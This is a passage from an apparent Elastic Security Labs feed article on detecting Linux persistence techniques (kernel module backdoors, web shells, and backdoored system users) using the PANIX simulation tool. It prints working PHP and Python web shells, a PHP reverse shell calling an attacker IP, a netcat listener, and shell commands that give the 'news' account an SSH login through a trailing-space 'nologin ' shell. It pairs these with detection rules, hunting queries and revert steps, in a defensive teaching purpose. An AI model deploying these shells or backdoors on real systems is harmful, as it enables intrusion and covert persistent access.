MODULE_AUTHOR(&quot;PANIX&quot;);
MODULE_DESCRIPTION(&quot;LKM Backdoor&quot;);
</code></pre>
<p>After compilation with <code>make</code> and <code>gcc</code>, it copies the LKM to <code>/lib/modules/$(uname -r)/kernel/drivers/${lkm_name}.ko</code> and executes the <code>sudo insmod ${lkm_destination}</code> to load the module. The <code>$(uname -r)</code> command ensures that the path corresponding to the active kernel version is resolved.</p>
<p>Let’s run the module:</p>
<pre><code class="language-bash">&gt; sudo ./panix.sh --lkm --default --ip 192.168.1.1 --port 2017

[+] Kernel module source code created: /tmp/lkm/panix.c
[+] Makefile created: /tmp/lkm/Makefile 
[+] Kernel module compiled successfully: /lib/modules/4.19.0-27-amd64/kernel/drivers/panix.ko
[+] Adding kernel module to /etc/modules, /etc/modules-load.d/ and /usr/lib/modules-load.d/...
[+] Kernel module loaded successfully. Check dmesg for the output.
[+] Kernel module added to /etc/modules, /etc/modules-load.d/ and /usr/lib/modules-load.d/
[+] LKM backdoor established! 
</code></pre>
<p>Taking a look at the remnants left behind in Discover, we can see:</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/continuation-on-persistence-mechanisms/image5.png" alt="PANIX LKM module execution visualized in Kibana" title="PANIX LKM module execution visualized in Kibana" /></p>
<p>PANIX is executed, initiating the compilation process for the LKM using <code>make</code>, ensuring it is built for the active kernel version. Once compiled, the resulting <code>panix.ko</code> module is placed in the appropriate module library directory for the current kernel. To achieve persistence across reboots, a configuration file named <code>panix.conf</code> is created in both <code>/etc/modules-load.d/</code> and <code>/usr/lib/modules-load.d/</code>. The module is then loaded into the kernel using the <code>insmod</code> command, activating the reverse shell. Leveraging the Auditd Manager integration, we can observe the <code>kmod</code> utility loading the <code>panix</code> kernel module.</p>
<p>This technique can leave behind several traces. The following detection- and endpoint rules are in place to effectively detect these:</p>
<table>
<thead>
<tr>
<th>Category</th>
<th>Coverage</th>
</tr>
</thead>
<tbody>
<tr>
<td>Driver</td>
<td><a href="https://github.com/elastic/detection-rules/blob/2ff2965cb96be49e316a2e928c74afd16e1b3554/rules/linux/persistence_kernel_driver_load.toml">Kernel Driver Load</a></td>
</tr>
<tr>
<td></td>
<td><a href="https://github.com/elastic/detection-rules/blob/2ff2965cb96be49e316a2e928c74afd16e1b3554/rules/linux/persistence_kernel_driver_load_by_non_root.toml">Kernel Driver Load by non-root User</a></td>
</tr>
<tr>
<td>File</td>
<td><a href="https://github.com/elastic/detection-rules/blob/ac541f0b18697e053b3b56544052955d29b440c0/rules/linux/persistence_lkm_configuration_file_creation.toml">Loadable Kernel Module Configuration File Creation</a></td>
</tr>
<tr>
<td></td>
<td><a href="https://github.com/elastic/detection-rules/blob/ac541f0b18697e053b3b56544052955d29b440c0/rules/linux/persistence_kernel_object_file_creation.toml">Kernel Object File Creation</a></td>
</tr>
<tr>
<td>Process</td>
<td><a href="https://github.com/elastic/detection-rules/blob/2ff2965cb96be49e316a2e928c74afd16e1b3554/rules/linux/persistence_insmod_kernel_module_load.toml">Kernel Module Load via insmod</a></td>
</tr>
<tr>
<td></td>
<td><a href="https://github.com/elastic/detection-rules/blob/2ff2965cb96be49e316a2e928c74afd16e1b3554/rules/linux/defense_evasion_kernel_module_removal.toml">Kernel Module Removal</a></td>
</tr>
<tr>
<td></td>
<td><a href="https://github.com/elastic/detection-rules/blob/2ff2965cb96be49e316a2e928c74afd16e1b3554/rules/linux/discovery_kernel_module_enumeration.toml">Enumeration of Kernel Modules</a></td>
</tr>
<tr>
<td></td>
<td><a href="https://github.com/elastic/detection-rules/blob/2ff2965cb96be49e316a2e928c74afd16e1b3554/rules/linux/defense_evasion_clear_kernel_ring_buffer.toml">Attempt to Clear Kernel Ring Buffer</a></td>
</tr>
<tr>
<td></td>
<td><a href="https://github.com/elastic/detection-rules/blob/2ff2965cb96be49e316a2e928c74afd16e1b3554/rules/linux/privilege_escalation_load_and_unload_of_kernel_via_kexec.toml">Kernel Load or Unload via Kexec Detected</a></td>
</tr>
<tr>
<td>Syslog</td>
<td><a href="https://github.com/elastic/detection-rules/blob/2ff2965cb96be49e316a2e928c74afd16e1b3554/rules/linux/persistence_tainted_kernel_module_load.toml">Tainted Kernel Module Load</a></td>
</tr>
<tr>
<td></td>
<td><a href="https://github.com/elastic/detection-rules/blob/2ff2965cb96be49e316a2e928c74afd16e1b3554/rules/linux/persistence_tainted_kernel_module_out_of_tree_load.toml">Tainted Out-Of-Tree Kernel Module Load</a></td>
</tr>
<tr>
<td><em>Detection and endpoint rules that cover loadable kernel module persistence</em></td>
<td></td>
</tr>
</tbody>
</table>
<p>For more information on how to set up the Auditd Manager integration to capture driver events and much more, check out the <a href="https://www.elastic.co/de/security-labs/linux-detection-engineering-with-auditd">Linux Detection Engineering with Auditd</a> publication.</p>
<p>We can revert this module by executing the following command:</p>
<pre><code class="language-bash">&gt; sudo ./panix.sh --revert lkm

###### [+] Reverting lkm module... #####

[+] Unloading kernel module 'panix'...
[+] Kernel module 'panix' unloaded successfully.
[+] Removing kernel module file '/lib/modules/4.19.0-27-amd64/kernel/drivers/panix.ko'...
[+] Kernel module file '/lib/modules/4.19.0-27-amd64/kernel/drivers/panix.ko' removed successfully.
[+] Removing temporary directory '/tmp/lkm'...
[+] Temporary directory '/tmp/lkm' removed successfully.
[+] Removing panix from /etc/modules, /etc/modules-load.d/ and /usr/lib/modules-load.d/...
[+] Updating module dependencies...
[+] Module dependencies updated.
</code></pre>
<h4>Hunting for T1547.006 - Kernel Modules and Extensions</h4>
<p>We can hunt for this technique using ES|QL and OSQuery, focusing on suspicious kernel module activity, including the creation of <code>.ko</code> files, execution of kernel module management tools, and modifications to kernel module configuration files. The hunting approach includes:</p>
<ul>
<li><strong>Monitoring kernel module file creation:</strong> Tracks <code>.ko</code> file creations in non-standard directories to detect potentially malicious modules.</li>
<li><strong>Identifying unusual module management executions:</strong> Monitors processes such as <code>kmod</code>, <code>modprobe</code>, <code>insmod</code>, and <code>rmmod</code> for suspicious or uncommon arguments.</li>
<li><strong>Detecting changes to configuration files:</strong> Observes files like <code>/etc/modprobe.d/</code>, <code>/etc/modules</code>, and related directories for modifications that might enable persistence.</li>
<li><strong>Focus on rare drivers:</strong> Use queries that identify kernel modules loaded via <code>init_module</code> or <code>finit_module</code> syscalls that occur infrequently.</li>
</ul>
<p>By combining the <a href="https://github.com/elastic/detection-rules/blob/ac541f0b18697e053b3b56544052955d29b440c0/hunting/linux/docs/persistence_via_loadable_kernel_modules.md">Persistence via Loadable Kernel Modules</a> and <a href="https://github.com/elastic/detection-rules/blob/ac541f0b18697e053b3b56544052955d29b440c0/hunting/linux/docs/persistence_via_driver_load_with_low_occurrence_frequency.md">Drivers Load with Low Occurrence Frequency</a> hunting rules, along with tailored detection queries, analysts can effectively identify <a href="https://attack.mitre.org/techniques/T1547/006/">T1547.006</a>-related activity.</p>
<h2>T1505.003 - Server Software Component: Web Shell</h2>
<p>A web shell is a malicious script uploaded to a web server, enabling attackers to execute arbitrary commands on the host. They are commonly deployed after exploiting vulnerabilities in server software, weak file upload restrictions, or misconfigurations. Web shells are typically small scripts written in commonly supported languages such as PHP, Python, or Perl. This activity is tracked by MITRE under <a href="https://attack.mitre.org/techniques/T1505/003/">T1505.003</a>.</p>
<h3>T1505.003 - Web Shell - PHP &amp; Python</h3>
<p>Web shells often integrate seamlessly with web server configurations like <code>Apache</code>, <code>Nginx</code>, or <code>Lighttpd</code>. These scripts can be categorized into two primary types: command execution (CMD) and reverse shell web shells.</p>
<p><strong>1. Command shells</strong></p>
<p>CMD web shells provide a simple interface to execute system commands through a browser or remote tool. A typical PHP CMD web shell might look like this:</p>
<pre><code class="language-php">&lt;?php
if (isset($_GET['cmd'])) {
    echo shell_exec($_GET['cmd']);
}
?&gt;
</code></pre>
<p><strong>2. Reverse shells</strong></p>
<p>Reverse shell web shells establish an outbound connection from the compromised server to the attacker’s machine. An example PHP reverse shell:</p>
<pre><code class="language-php">&lt;?php
$ip = '192.168.1.100'; // Attacker IP
$port = 4444;          // Attacker Port
$socket = fsockopen($ip, $port);
exec(&quot;/bin/sh -i &lt;&amp;3 &gt;&amp;3 2&gt;&amp;3&quot;);
?&gt;
</code></pre>
<p>The attacker runs a listener on their machine using <code>Netcat</code> or any other listener. When the shell script is accessed, it connects to the attacker, providing an interactive session.</p>
<p><strong>Leveraging the Common Gateway Interface (CGI) for web shells</strong></p>
<p>The <a href="https://www.ibm.com/docs/en/i/7.4?topic=functionality-cgi">Common Gateway Interface (CGI)</a> allows web servers to execute external scripts and return their output to clients. Attackers can use CGI scripts to execute commands in various languages, including Python, Bash, and Perl. A Python CGI web shell example:</p>
<pre><code class="language-python">#!/usr/bin/env python3
import cgi
import os

print(&quot;Content-type: text/html\n\n&quot;)
form = cgi.FieldStorage()
command = form.getvalue(&quot;cmd&quot;)
if command:
    output = os.popen(command).read()
    print(output)
</code></pre>
<p>CGI scripts offer versatility and can be used in environments where PHP or other web shells might be restricted.</p>
<p>Attackers often target web root directories like <code>/var/www/html/</code> to upload their web shells. Weak file upload restrictions or misconfigured permissions allow them to place malicious scripts. To enhance persistence, attackers may:</p>
<ul>
<li><strong>Embed Web Shells in Existing Files</strong>: Modify legitimate files to include web shell code, making detection more challenging.</li>
<li><strong>Use Built-in Web Servers</strong>: Attackers can start a web server in a specific directory to bypass restrictions</li>
<li><strong>Leverage Hidden Directories</strong>: To avoid detection, locate web shells in obscure or hidden directories.</li>
</ul>
<p>Although this type of implementation is also possible for languages other than PHP and Python, they commonly require modules/plugins to be installed, making them a less viable option. The following section will explore detailed examples of these methods and their corresponding detection strategies.</p>
<h4>Persistence through T1505.003 - Web Shell: PHP &amp; Python</h4>
<p>Let’s examine how PANIX leverages PHP, Python, and CGI to establish web shell backdoors within the <a href="https://github.com/Aegrah/PANIX/blob/ae404d5caf74c772436ccaaa0c3ab51cba8c4250/modules/setup_web_shell.sh">setup_web_shell.sh</a> module. Refer to the module to inspect the full payloads.</p>
<p>Depending on permissions, PANIX creates a web server in <code>/var/www/html/</code> (root) or <code>$HOME/</code> (non-root). PHP uses the <code>-S</code> flag to start a lightweight server, with <code>-t</code> specifying the root directory to serve the web shells. For Python, the <code>-m http.server</code> module is combined with <code>--cgi</code> to enable dynamic execution of CGI scripts. If only Python 2 is available, PANIX falls back to <code>-m CGIHTTPServer</code> for compatibility.</p>
<p>Servers are launched in the background using <code>nohup</code> to ensure persistence, remaining active even after the user logs out.</p>
<p>Let’s look at what traces we can detect within these chains, starting with a PHP CMD shell. To simulate this activity, we can use the following PANIX command:</p>
<pre><code class="language-bash">&gt; ./panix.sh --web-shell --language php --mechanism cmd --port 8080

[+] Web server directory created at /home/ruben/panix/
[+] cmd.php file created in /home/ruben/panix/
[+] Interact via: curl http://&lt;ip&gt;:8080/cmd.php?cmd=whoami
[!] Starting PHP server on port 8080...
[+] PHP server running in the background at port 8080.
[!] In case you cannot connect, ensure your firewall settings are allowing inbound traffic on port 8080.

Run the following commands in case of issues on RHEL/CentOS systems:

sudo firewall-cmd --add-port=8080/tcp --permanent
sudo firewall-cmd --reload
</code></pre>
<p>After execution, we can call the <code>cmd.php</code> through the following <code>curl</code> command:</p>
<pre><code class="language-bash">&gt; curl http://192.168.1.100:8080/cmd.php?cmd=whoami
ruben
</code></pre>
<p>Executing the payload generates the following documents in Kibana:</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/continuation-on-persistence-mechanisms/image3.png" alt="PANIX web-shell module execution visualized in Kibana (command shell payload)" title="PANIX web-shell module execution visualized in Kibana (command shell payload)" /></p>
<p>The figure above shows PANIX being executed and the <code>/home/ruben/panix/</code> directory being created (as PANIX is executed with user privileges). The <code>cmd.php</code> file is created, and the PHP web shell is spawned with the <code>-S</code> flag and listens on all interfaces (<code>0.0.0.0</code>) on port 8080. Upon execution of the <code>curl</code> command from the attack host, we can see a <code>connection_accepted</code>, followed by the execution of the <code>whoami</code> command, followed by a <code>disconnect_received</code>.</p>
<p>To simulate reverse shell behavior, we can simulate a Python reverse shell through the following PANIX command:</p>
<pre><code class="language-bash">./panix.sh --web-shell --language python --mechanism reverse --port 8080 --rev-port 2018 --ip 192.168.1.100

[+] Web server directory created at /home/ruben/panix/
[+] reverse.py file created in /home/ruben/panix/cgi-bin/
[+] Interact via: curl http://&lt;ip&gt;:8080/cgi-bin/reverse.py
[!] Starting Python3 server on port 8080 with CGI enabled...
[+] Python3 server running in the background at port 8080.
[!] In case you cannot connect, ensure your firewall settings are allowing inbound traffic on port 8080.

Run the following commands in case of issues on RHEL/CentOS systems:

sudo firewall-cmd --add-port=8080/tcp --permanent
sudo firewall-cmd --reload
</code></pre>
<p>After which, we can communicate with the reverse shell from the attacker machine through the following commands:</p>
<pre><code class="language-bash">// Terminal 1
&gt; curl http://192.168.1.100:8080/cgi-bin/reverse.py

// Terminal 2
&gt; nc -nvlp 2018
listening on [any] 2018 ...
connect to [192.168.211.131] from (UNKNOWN) [192.168.211.151] 47250
&gt; whoami
ruben
</code></pre>
<p>This module generates the following documents:</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/continuation-on-persistence-mechanisms/image4.png" alt="PANIX web-shell module execution visualized in Kibana (reverse shell payload)" title="PANIX web-shell module execution visualized in Kibana (reverse shell payload)" /></p>
<p>After PANIX executes, we can see <code>/home/ruben/panix/cgi-bin/reverse.py</code> being created and execution permissions being granted. A <code>python3</code> web server with CGI support is spawned. After executing the <code>curl</code> command from the attacker machine, we can see an incoming connection through the <code>connection_accepted</code> event, followed by the execution of the reverse shell command, leading to the call back to the attacker machine through the <code>connection_attempted</code> event. A fully interactive shell is obtained once the attacker catches the reverse connection.</p>
<p>You can revert the changes made by PANIX by running the following revert command:</p>
<pre><code class="language-bash">&gt; ./panix.sh --revert web-shell

###### [+] Reverting web-shell module... #####

[+] Running as non-root. Reverting web shell for user 'ruben'.
[+] Reverting web shell for user 'ruben' at: /home/ruben/panix/
[+] Identifying web server processes serving /home/ruben/panix/...
[+] Killed process 11592 serving /home/ruben/panix/.
[+] Removed web server directory: /home/ruben/panix/
</code></pre>
<p>After which, all artifacts should be cleaned.</p>
<p>Let’s take a look at the coverage:</p>
<table>
<thead>
<tr>
<th>Category</th>
<th>Coverage</th>
</tr>
</thead>
<tbody>
<tr>
<td>File</td>
<td><a href="https://github.com/elastic/protections-artifacts/blob/195c9611ddb90db599d7ffc1a9b0e8c45688007d/behavior/rules/linux/persistence_suspicious_file_creation_via_web_server.toml">Suspicious File Creation via Web Server</a></td>
</tr>
<tr>
<td>Process</td>
<td><a href="https://github.com/elastic/protections-artifacts/blob/065efe897b511e9df5116f9f96b6cbabb68bf1e4/behavior/rules/linux/persistence_file_downloaded_from_suspicious_source_by_web_server.toml">File Downloaded from Suspicious Source by Web Server</a></td>
</tr>
<tr>
<td></td>
<td><a href="https://github.com/elastic/protections-artifacts/blob/065efe897b511e9df5116f9f96b6cbabb68bf1e4/behavior/rules/linux/persistence_file_downloaded_and_piped_to_interpreter_by_web_server.toml">File Downloaded and Piped to Interpreter by Web Server</a></td>
</tr>
<tr>
<td></td>
<td><a href="https://github.com/elastic/protections-artifacts/blob/065efe897b511e9df5116f9f96b6cbabb68bf1e4/behavior/rules/linux/persistence_suspicious_download_and_redirect_by_web_server.toml">Suspicious Download and Redirect by Web Server</a></td>
</tr>
<tr>
<td></td>
<td><a href="https://github.com/elastic/detection-rules/blob/2ff2965cb96be49e316a2e928c74afd16e1b3554/rules/linux/execution_python_webserver_spawned.toml">Web Server Spawned via Python</a></td>
</tr>
<tr>
<td></td>
<td><a href="https://github.com/elastic/detection-rules/blob/ac541f0b18697e053b3b56544052955d29b440c0/rules/linux/persistence_simple_web_server_creation.toml">Simple HTTP Web Server Creation</a></td>
</tr>
<tr>
<td></td>
<td><a href="https://github.com/elastic/detection-rules/blob/2ff2965cb96be49e316a2e928c74afd16e1b3554/rules/linux/persistence_linux_shell_activity_via_web_server.toml">Potential Remote Code Execution via Web Server</a></td>
</tr>
<tr>
<td></td>
<td><a href="https://github.com/elastic/protections-artifacts/blob/195c9611ddb90db599d7ffc1a9b0e8c45688007d/behavior/rules/linux/persistence_file_downloaded_to_suspicious_location_by_web_server.toml">File Downloaded to Suspicious Location by Web Server</a></td>
</tr>
<tr>
<td></td>
<td><a href="https://github.com/elastic/protections-artifacts/blob/195c9611ddb90db599d7ffc1a9b0e8c45688007d/behavior/rules/linux/persistence_decode_activity_via_web_server.toml">Decode Activity via Web Server</a></td>
</tr>
<tr>
<td></td>
<td><a href="https://github.com/elastic/protections-artifacts/blob/195c9611ddb90db599d7ffc1a9b0e8c45688007d/behavior/rules/linux/persistence_unusual_command_executed_by_web_server.toml">Unusual Command Executed by Web Server</a></td>
</tr>
<tr>
<td>Network</td>
<td><a href="https://github.com/elastic/protections-artifacts/blob/065efe897b511e9df5116f9f96b6cbabb68bf1e4/behavior/rules/linux/persistence_reverse_shell_executed_via_web_server.toml">Reverse Shell Executed via Web Server</a></td>
</tr>
<tr>
<td></td>
<td><a href="https://github.com/elastic/detection-rules/blob/ac541f0b18697e053b3b56544052955d29b440c0/rules/linux/persistence_simple_web_server_connection_accepted.toml">Simple HTTP Web Server Connection</a></td>
</tr>
<tr>
<td><em>Detection and endpoint rules that cover web shell persistence</em></td>
<td></td>
</tr>
</tbody>
</table>
<h4>Hunting for T1505.003 - Web Shell</h4>
<p>We can hunt for this technique using ES|QL and OSQuery by focusing on suspicious file creation events and anomalous network activity commonly associated with web shells. The approach includes monitoring for the following:</p>
<ul>
<li><strong>Creation or renaming of web shell files:</strong> Tracks files with extensions such as <code>.php</code>, <code>.py</code>, <code>.pl</code>, <code>.rb</code>, <code>.lua</code>, and <code>.jsp</code> in unexpected or uncommon locations, which may indicate the deployment of a web shell.</li>
<li><strong>Anomalous network activity by scripting engines:</strong> Observes disconnect events and unusual connections initiated by processes like <code>python</code>, <code>php</code>, or <code>perl</code>, particularly connections to external IP addresses.</li>
<li><strong>Low-frequency external connections:</strong> Detects rare or low-volume network connections from processes, especially those initiated by root or unique agents, which can indicate malicious web shell activity.</li>
</ul>
<p>By combining the <a href="https://github.com/elastic/detection-rules/blob/ac541f0b18697e053b3b56544052955d29b440c0/hunting/linux/docs/persistence_via_web_shell.md">Persistence via Web Shell</a>, <a href="https://github.com/elastic/detection-rules/blob/ac541f0b18697e053b3b56544052955d29b440c0/hunting/linux/docs/persistence_reverse_bind_shells.md">Persistence Through Reverse/Bind Shells</a>, and <a href="https://github.com/elastic/detection-rules/blob/ac541f0b18697e053b3b56544052955d29b440c0/hunting/linux/docs/low_volume_external_network_connections_from_process.md">Low Volume External Network Connections from Process by Unique Agent</a> hunting rules with the tailored detection queries listed above, analysts can effectively detect and respond to <a href="https://attack.mitre.org/techniques/T1505/003/">T1505.003</a>.</p>
<h2>T1098.004 - Account Manipulation: SSH Authorized Keys</h2>
<p>SSH's <code>authorized_keys</code> feature is a common target for attackers aiming to establish persistent access to compromised Linux systems. By placing their public keys in the <code>authorized_keys</code> file, attackers can gain access without requiring further authentication if the private key is in their possession. This mechanism is controlled by files like <code>.ssh/authorized_keys</code> or <code>.ssh/authorized_keys2</code>, typically in the user’s home directory. While this persistence method is well-documented, we explored its nuances in detail in <a href="https://www.elastic.co/de/security-labs/primer-on-persistence-mechanisms#t1098004---account-manipulation-ssh">a previous article</a>.</p>
<p>In this section, we will focus on a less conventional but intriguing variation of this technique: abusing system accounts that by default are rarely used and have default configurations. This approach leverages the default home directories of these users to create <code>.ssh</code> directories and insert <code>authorized_keys</code> files, enabling SSH-based persistence under these accounts. <a href="https://blog.exatrack.com/Perfctl-using-portainer-and-new-persistences/">Exatrack’s research</a> on a new variant of the <code>perfctl</code> malware recently explored this technique. Although this specific variation of the authorized keys persistence technique is not tracked by MITRE, the overall persistence technique is tracked under <a href="https://attack.mitre.org/techniques/T1098/004/">T1098.004</a>.</p>
<h3>T1098.004 - SSH Authorized Keys: System User Backdoors</h3>
<p>System accounts like <code>news</code> or <code>nobody</code> often exist on default Linux installations with non-interactive shells (e.g., <code>/usr/sbin/nologin</code>) and predefined home directories. These accounts, typically overlooked and not intended for direct login, can become attractive targets for attackers. We can observe their configurations in the <code>/etc/passwd</code> file:</p>
<pre><code class="language-bash">&gt; cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
</code></pre>
<p>As we can see, the root user's home directory is <code>/root/</code>, while system users like <code>news</code>, <code>backup</code>, and <code>nobody</code> also have default home directories, such as <code>/var/spool/news/</code> and <code>/nonexistent/</code>. The default shell for root is <code>/bin/bash</code>, whereas system users are restricted by <code>/usr/sbin/nologin</code>.</p>
<p>Although system users are intended to be non-interactive, attackers can exploit their configurations by creating <code>.ssh</code> directories in their home directories and adding <code>authorized_keys</code> files for SSH-based authentication. By manipulating the <code>/etc/passwd</code> file and shell configuration, attackers can bypass restrictions imposed by <code>/usr/sbin/nologin</code> and gain access. The next section will explore this technique in detail, including the steps attackers use to execute it.</p>
<h4>Persistence through T1098.004 -  SSH Authorized Keys: Backdoored System Users</h4>
<p>Let’s examine how the PANIX <a href="https://github.com/Aegrah/PANIX/blob/7d5bb3892a79fd23d485c3ed82b8fefc81f178e0/modules/setup_backdoor_system_user.sh">setup_backdoor_system_user.sh</a> module abuses this trick to leverage non-interactive system accounts to gain SSH access onto a target without creating a new user. Refer to the module to inspect the full payloads.</p>
<p>The first step is to identify a system user as the target for the attack. For example, as we know:</p>
<ul>
<li>The <code>news</code> user has <code>/var/spool/news/</code> as its home directory.</li>
<li>The <code>nobody</code> user has <code>/nonexistent/</code> by default (which can be created).</li>
</ul>
<p>The next step is to create the <code>.ssh</code> directory within the home directory and writes the attacker’s public key to the <code>authorized_keys</code> file, and ensure the correct file permissions:</p>
<pre><code class="language-bash"># Create the .ssh directory
mkdir -p &quot;$home_dir/.ssh&quot;
chmod 755 &quot;$home_dir/.ssh&quot;  # Set directory permissions to be accessible by others

# Write the public key to authorized_keys
echo &quot;$key&quot; &gt; &quot;$home_dir/.ssh/authorized_keys&quot;
chmod 644 &quot;$home_dir/.ssh/authorized_keys&quot;  # Set file permissions to be readable by others
</code></pre>
<p>This step ensures that the attacker can authenticate via SSH using their private key. The next step is to modify the shell. By default, system users like <code>news</code> and <code>nobody</code> are configured with <code>/usr/sbin/nologin</code> as their shell, which prevents interactive login sessions. We need to circumvent this restriction by:</p>
<ol>
<li>Copying (for example) <code>/bin/dash</code> to <code>/usr/sbin/nologin</code> (with a trailing space).</li>
<li>Updating <code>/etc/passwd</code> to include the modified shell path.</li>
</ol>
<pre><code class="language-bash"># Copy /bin/dash to '/usr/sbin/nologin '
cp /bin/dash &quot;/usr/sbin/nologin &quot;

# Modify /etc/passwd to include the trailing space in the shell path
local username=$(echo &quot;$user_entry&quot; | cut -d: -f1)
sed -i &quot;/^$username:/s|:/usr/sbin/nologin$|:/usr/sbin/nologin |&quot; /etc/passwd 
</code></pre>
<p>Where the local username variable can be set to any system user. This subtle manipulation tricks the system into treating <code>/usr/sbin/nologin </code>(with a trailing space) as a valid shell.</p>
<p>Finally, to ensure SSH accepts the modified shell as valid, we need to add <code>nologin </code>(with a trailing space) to <code>/etc/shells</code>:</p>
<pre><code class="language-bash"># Check and add &quot;nologin &quot; to /etc/shells if not already present
if ! grep -q &quot;nologin &quot; /etc/shells; then
    echo &quot;nologin &quot; &gt;&gt; /etc/shells
    echo &quot;[+] Added 'nologin ' to /etc/shells&quot;
else
    echo &quot;[+] 'nologin ' already exists in /etc/shells. Skipping.&quot;
fi
</code></pre>
<p>This step ensures SSH does not reject login attempts due to the manipulated shell. Now that we understand the flow, let’s run the module.</p>
<pre><code class="language-bash">&gt; sudo ./panix.sh --backdoor-system-user --default --key &lt;ssh-rsa public key&gt;

[+] Added 'nologin ' to /etc/shells
[+] Copied /bin/dash to '/usr/sbin/nologin '
[+] Modified /etc/passwd to update shell path for user: news
[+] System user backdoor persistence established for user: news
</code></pre>
<p>After which we can log in to the system via SSH with the <code>news</code> user:</p>
<pre><code class="language-bash">&gt; ssh news@192.168.31.129
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-130-generic x86_64)
</code></pre>
<p>And analyze this technique’s traces in Discover:</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/continuation-on-persistence-mechanisms/image1.png" alt="PANIX backdoor-system-user module execution visualized in Kibana" title="PANIX backdoor-system-user module execution visualized in Kibana" /></p>
<p>Upon PANIX execution, the <code>/var/spool/news/.ssh/</code> directory and <code>authorized_keys</code> files are created and granted the correct permissions (<code>755</code> and <code>644</code> respectively). Next, the <code>/usr/sbin/nologin</code>  (with trailing space) file is created, and the <code>/etc/passwd</code> and <code>/etc/shells</code> files are modified. Upon completion, the <code>news</code> user is able to authenticate via SSH, with an interactive shell.</p>
<p>You can revert the changes made by PANIX by running the following revert command:</p>
<pre><code class="language-bash">&gt; sudo ./panix.sh --revert backdoor-system-user

###### [+] Reverting backdoor-system-user module... #####

[+] Removing .ssh directory for user: news
[+] Successfully removed .ssh directory for news.
[+] Reverting /etc/passwd entry for user: news
[+] Successfully reverted /etc/passwd entry for news.

[+] Removing '/usr/sbin/nologin '
[+] Successfully removed '/usr/sbin/nologin '.
[+] Reverting /etc/shells to remove 'nologin ' entry.
[+] Successfully removed 'nologin ' from /etc/shells.
</code></pre>
<p>After which all artifacts should be cleaned.</p>
<p>There are several detection- and endpoint rules set up to detect different parts of this technique:</p>
<table>
<thead>
<tr>
<th>Category</th>
<th>Coverage</th>
</tr>
</thead>
<tbody>
<tr>
<td>IAM</td>
<td><a href="https://github.com/elastic/detection-rules/blob/ac541f0b18697e053b3b56544052955d29b440c0/rules/linux/persistence_ssh_via_backdoored_system_user.toml">Login via Unusual System User</a></td>
</tr>
<tr>
<td>Process</td>
<td><a href="https://github.com/elastic/detection-rules/blob/ac541f0b18697e053b3b56544052955d29b440c0/rules/linux/defense_evasion_interactive_shell_from_system_user.toml">Unusual Interactive Shell Launched from System User</a></td>
</tr>
<tr>
<td></td>
<td><a href="https://github.com/elastic/protections-artifacts/blob/195c9611ddb90db599d7ffc1a9b0e8c45688007d/behavior/rules/linux/defense_evasion_potential_nologin_ssh_backdoor.toml">Potential Nologin SSH Backdoor</a></td>
</tr>
<tr>
<td></td>
<td><a href="https://github.com/elastic/detection-rules/blob/ac541f0b18697e053b3b56544052955d29b440c0/rules/cross-platform/defense_evasion_masquerading_space_after_filename.toml">Masquerading Space After Filename</a></td>
</tr>
<tr>
<td><em>Detection and endpoint rules that cover backdoored system user persistence</em></td>
<td></td>
</tr>
</tbody>
</table>
<h4>Hunting for T1098.004 -  SSH Authorized Keys: Backdoored System Users</h4>
<p>We can hunt for this technique using ES|QL and OSQuery by focusing on identifying unauthorized SSH key additions, tampered system files, and unusual activity involving system users such as <code>news</code> or <code>nobody</code>. The following key areas are effective for detection:</p>
<ul>
<li><strong>Suspicious SSH Key Modifications</strong>: Monitors for changes to <code>.ssh</code> directories and <code>authorized_keys</code> files in unexpected locations, such as <code>/var/spool/news/.ssh/</code> or <code>/nonexistent/.ssh/</code>.</li>
<li><strong>Unusual File Changes</strong>: Identifies modifications to SSH-related files and directories, tracking ownership and access patterns.</li>
<li><strong>Interactive Process Activity</strong>: Detects rare interactive sessions initiated by system accounts that typically lack login access.</li>
<li><strong>System File Tampering</strong>: Flags modifications to <code>/etc/passwd</code> and <code>/etc/shells</code>, including unusual shell paths or additions of invalid entries like <code>nologin </code>.</li>
</ul>
<p>By leveraging the <a href="https://github.com/elastic/detection-rules/blob/ac541f0b18697e053b3b56544052955d29b440c0/hunting/linux/docs/persistence_via_ssh_configurations_and_keys.md">Persistence via SSH Configurations and/or Keys</a> hunt, analysts can uncover unauthorized persistence mechanisms, investigate potential abuse of system accounts, and respond effectively to these threats.</p>
<h2>Conclusion</h2>
<p>In this third chapter of the &quot;Linux Detection Engineering&quot; series, we explored various persistence techniques adversaries might leverage on Linux systems. Starting with dynamic linker hijacking, we demonstrated how manipulation of the dynamic linker through <code>LD_PRELOAD</code> can be abused for persistence. We then looked into loadable kernel modules (LKMs), a powerful feature that allows attackers to embed malicious code directly into the kernel, offering deep system control and persistence. We then explored the threat web shells pose, which enable scripting-based persistence and remote access, making them a significant risk in web-exposed environments. Finally, we analyzed the exploitation of default system users with non-interactive shells, revealing how attackers can leverage these often-overlooked accounts to establish persistence without creating new user entries.</p>
<p>These techniques underscore the ingenuity and variety of methods adversaries can employ to persist on Linux systems. You can build robust defenses and fine-tune your detection strategies by leveraging <a href="https://github.com/Aegrah/PANIX">PANIX</a> to simulate these attacks and using the tailored ES|QL and OSQuery detection queries provided.</p>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/de/security-labs/assets/images/continuation-on-persistence-mechanisms/continuation-on-persistence-mechanisms.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[Declawing PUMAKIT]]></title>
            <link>https://www.elastic.co/de/security-labs/declawing-pumakit</link>
            <guid>declawing-pumakit</guid>
            <pubDate>Thu, 12 Dec 2024 00:00:00 GMT</pubDate>
            <description><![CDATA[PUMAKIT is a sophisticated loadable kernel module (LKM) rootkit that employs advanced stealth mechanisms to hide its presence and maintain communication with command-and-control servers.]]></description>
            <content:encoded><![CDATA[<h2>PUMAKIT at a glance</h2>
